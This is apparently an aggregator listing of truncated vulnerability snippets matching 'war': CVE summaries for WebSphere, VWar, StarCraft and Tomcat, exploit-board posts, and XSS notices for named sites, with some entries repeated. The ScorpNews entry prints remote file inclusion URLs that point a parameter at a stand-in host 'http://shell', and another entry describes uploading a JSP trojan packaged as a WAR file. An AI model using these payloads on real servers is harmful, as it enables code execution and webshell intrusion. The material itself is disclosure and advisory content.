CVE-2009-0508

IBM WebSphere Application Server (WAS) is affected by CVE-2009-0508. Affected versions include WAS 5.1.0, 5.1.1.19, 6.0.2 before 6.0.2.35, 6.1 before 6.1.0.23, and 7.0 before 7.0.0.3. The vulnerability allows remote attackers to read arbitrary files contained in WAR archives (notably in web-inf a...

WebSphere '.war' File Detection

Binary data 4961.prm...

Apache Tomcat 5.5.x < 5.5.29 / 6.0.x < 6.0.24 WAR Deployment Multiple Vulnerabilities

Binary data 5327.pasl...

ESPG (Enhanced Simple PHP Gallery) 1.72 File Disclosure Vulnerability

No description provided by source. .::ESPG 1.72 File Disclosure Vulnerability::. = Scriptname: ESPG Enhanced Simple PHP Gallery 1.72 = Vendor: http://quirm.net = Download: http://quirm.net/download/21/ = Bugfounder: bd0rk = Contact: bd0rkathackermail.com = Greetings: str0ke, TheJT, Maria, Alucard...

ScorpNews 1.0 - 'site' Remote File Inclusion

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

Unfixed XSS vulnerability at www.unforgivenwar.com

Security researcher PaPPy, has submitted on 29/04/2008 a cross-site-scripting XSS vulnerability affecting www.unforgivenwar.com, which at the time of submission ranked 225629 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 29/04/2008. It is...

Unfixed XSS vulnerability at www.wastelandwar.com

Security researcher PaPPy, has submitted on 26/04/2008 a cross-site-scripting XSS vulnerability affecting www.wastelandwar.com, which at the time of submission ranked 703592 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 27/04/2008. It is...

the jar command is a simple application to get webshell-vulnerability warning-the black bar safety net

Effect: allows to upload war file of the jsp environment, the Local the jsp Trojan packaged as a war file after uploading to server! Environment assumptions: 1, assuming that you on the hard disk of a directory need to create a good jar/war package 2, the directory includes the following content:...

CVE-2008-0753

CVE-2008-0753 describes an SQL injection in the calendar.php file of Virtual War (VWar) 1.5, exploitable remotely via the month parameter. The vulnerability allows an attacker to execute arbitrary SQL commands. According to the associated records, the issue is triggered by unvalidated input in th...

How hackers exploit file include vulnerabilities website intrusion-vulnerability warning-the black bar safety net

One, see vulnerability announcement Recent want to learn what the files contain vulnerability, inadvertently saw on the file that contains the vulnerability announcement. Roughly meaning is such, PhpwCMS 1.2.6 system The following files exist in the file containing the vulnerability:...

CVE-2007-4638

Blizzard Entertainment StarCraft Brood War 1.15.1 and earlier allows remote attackers to cause a denial of service application crash via a malformed map, which triggers an out-of-bounds read during a minimap preview...

CVE-2007-4638

Blizzard Entertainment StarCraft Brood War 1.15.1 and earlier allows remote attackers to cause a denial of service application crash via a malformed map, which triggers an out-of-bounds read during a minimap preview...

CVE-2007-4638

Affected software: Blizzard Entertainment StarCraft Brood War (version 1.15.1 and earlier). Vulnerability: Remote attacker can trigger a denial-of-service by supplying a malformed map, causing an out-of-bounds read during the minimap preview. Impact: Denial of service with application crash; no c...

Remote file inclusion

PHP remote file inclusion vulnerability in convert/mvcw.php in Virtual War VWar 1.5.0 R15 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the vwarroot parameter, a different vector than CVE-2006-1503, CVE-2006-1636, and CVE-2006-1747...

CVE-2007-4605

PHP remote file inclusion vulnerability in convert/mvcw.php in Virtual War VWar 1.5.0 R15 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the vwarroot parameter, a different vector than CVE-2006-1503, CVE-2006-1636, and CVE-2006-1747...

Remote file inclusion

PHP remote file inclusion vulnerability in convert/mvcwconver.php in the Virtual War VWar module for PHPNuke-Clan PNC 4.2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the vwarroot parameter, a different vector than CVE-2006-1602. NOTE: it is possible that this...

CVE-2007-4606

PHP remote file inclusion vulnerability in convert/mvcwconver.php in the Virtual War VWar module for PHPNuke-Clan PNC 4.2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the vwarroot parameter, a different vector than CVE-2006-1602. NOTE: it is possible that this...

CVE-2007-4605

CVE-2007-4605 is a PHP remote file inclusion in Virtual War (VWar) prior to or including 1.5.0 R15. The vulnerability is triggered in convert/mvcw.php via the vwar_root parameter, allowing arbitrary PHP code execution. Related connected docs corroborate VWar RFI patterns affecting multiple script...

CVE-2007-4606

CVE-2007-4606 describes a PHP remote file inclusion in the Virtual War (VWar) module of PHPNuke-Clan (PNC) 4.2.0 and earlier. The vulnerability arises in convert/mvcw_conver.php where an attacker can cause arbitrary PHP code execution by supplying a crafted URL in the vwar_root parameter. The iss...

[HISPASEC] Blizzard StarCraft Brood War 1.15.1 Remote DoS

HISPASEC Security Advisory http://blog.hispasec.com/lab/ Name : Blizzard StarCraft Brood War Remote DoS Class : Remote/Local DoS Threat level : MED Discovered : 2007-08-08 Published : 2007-08-29 Credit : Gynvael Coldwind Vulnerable : StarCraft Brood War 1.15.1 and prior StarCraft 1.15.1 and prior...